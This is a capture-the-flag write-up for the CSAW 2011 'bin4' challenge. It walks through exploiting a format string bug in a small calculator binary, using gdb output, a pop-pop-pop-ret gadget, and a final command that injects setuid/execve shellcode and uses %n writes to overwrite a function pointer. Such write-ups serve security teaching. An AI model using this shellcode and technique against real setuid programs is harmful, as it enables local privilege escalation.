CSAW CTF 2011 Write-up: Exploitation bin4

This challenge shares the same source code as the bin2 challenge, but the environment is different:
we need to bypass ASLR and we can’t overwrite the GOT nor the .dtors section (because of RELRO).
We will bypass those protections using a ROP approach.

Here is the sourcecode:

#include 
#include 
#include 


inline int add(int lhs, int rhs){return lhs + rhs;}
inline int sub(int lhs, int rhs){return lhs - rhs;}
inline int mul(int lhs, int rhs){return lhs * rhs;}
int divi(int lhs, int rhs){
  if(rhs == 0){return 0;}
  return lhs / rhs;
}

void u(){
  printf("number op number\n");
  exit(EXIT_FAILURE);
}

void e(){
  puts("Need operation\n");
  exit(EXIT_FAILURE);
}

int s(char *op, char *lhs, char *rhs){
 
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512]; 

  printf("Operation: ");
  fflush(0);


  switch(*op++){
  case '+':
    opfunc = matfunc[0];
    break;
  case '-':
    opfunc = matfunc[1];
    break;
  case '*':
    opfunc = matfunc[2];
    break;
  case '/':
    opfunc = matfunc[3];
    break;
  default:
    e();
  }

  snprintf(opmsg, sizeof(opmsg), op);
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}

int main(int argc, char **argv){
	
  if(argc < 4){ u(); }

  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}

As we can see there is a format string vulnerability caused by the snprintf function call which doesn't specify a format.
Our purpose is to overwrite the opfunc pointer, as it is stored in the .bss section, which is not randomized.
We can find opfunc at 0x0804a010.

Thus we can call our binary with these arguments:

$ ./bin4 2 +%08x 3

and our format string will be evaluated.

Now we know how and where to write in the memory, but what do we want to write?
As we want to rop, we first check what's on the stack right before the opfunc call.

$ gdb bin4
(gdb) disas s
...
   0x080486c1 <+313>:	mov    %ebx,0x4(%esp)
   0x080486c5 <+317>:	mov    %eax,(%esp)
   0x080486c8 <+320>:	call   *%esi
   0x080486ca <+322>:	mov    -0xc(%ebp),%edx
...
(gdb) break *0x080486c8
(gdb) r 2 +w00t 3
Breakpoint 1, 0x080486c8 in s ()
(gdb) x/4xw $esp
0xbffffa50:	0x00000002	0x00000003	0xbffffe97	0xb7fec3e2
(gdb) x/s 0xbffffe97
0xbffffe97:	 "w00t"
(gdb) 

Our string is at $esp+8, this is because it was pushed on the stack right before the snprintf call (at 0x08048669), and $esp+8 has never been altered since.
But, after opfunc calls the operation we requested, $eip+4 will be pushed on the stack, so our string will be at $esp+12.

All we need now is a pop-pop-pop-ret gadget so the ret will jump to our string.
Luckily we don't even have to search much:

(gdb) disas s
...
   0x080486e1 <+345>:	pop    %ebx
   0x080486e2 <+346>:	pop    %esi
   0x080486e3 <+347>:	pop    %ebp
   0x080486e4 <+348>:	ret    
End of assembler dump.
(gdb) 

So all we need to do is to put our shellcode after the operation symbol and write 0x080486e1 in opfunc.

This leads to the shellcode:

$ ./bin4 2 $(
perl -e 'print "+";
print "A\x31\xC0\x31\xD2\x31\xDB\x31\xC9\xB0\x17\x60\xCD\x80\x61\x51\x68".
      "\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\xB0\x0B\xCD\x80";
print "\x10\xa0\x04\x08\x12\xa0\x04\x08\%34489u\%21\$n\%33059u\%22\$n"'
) 3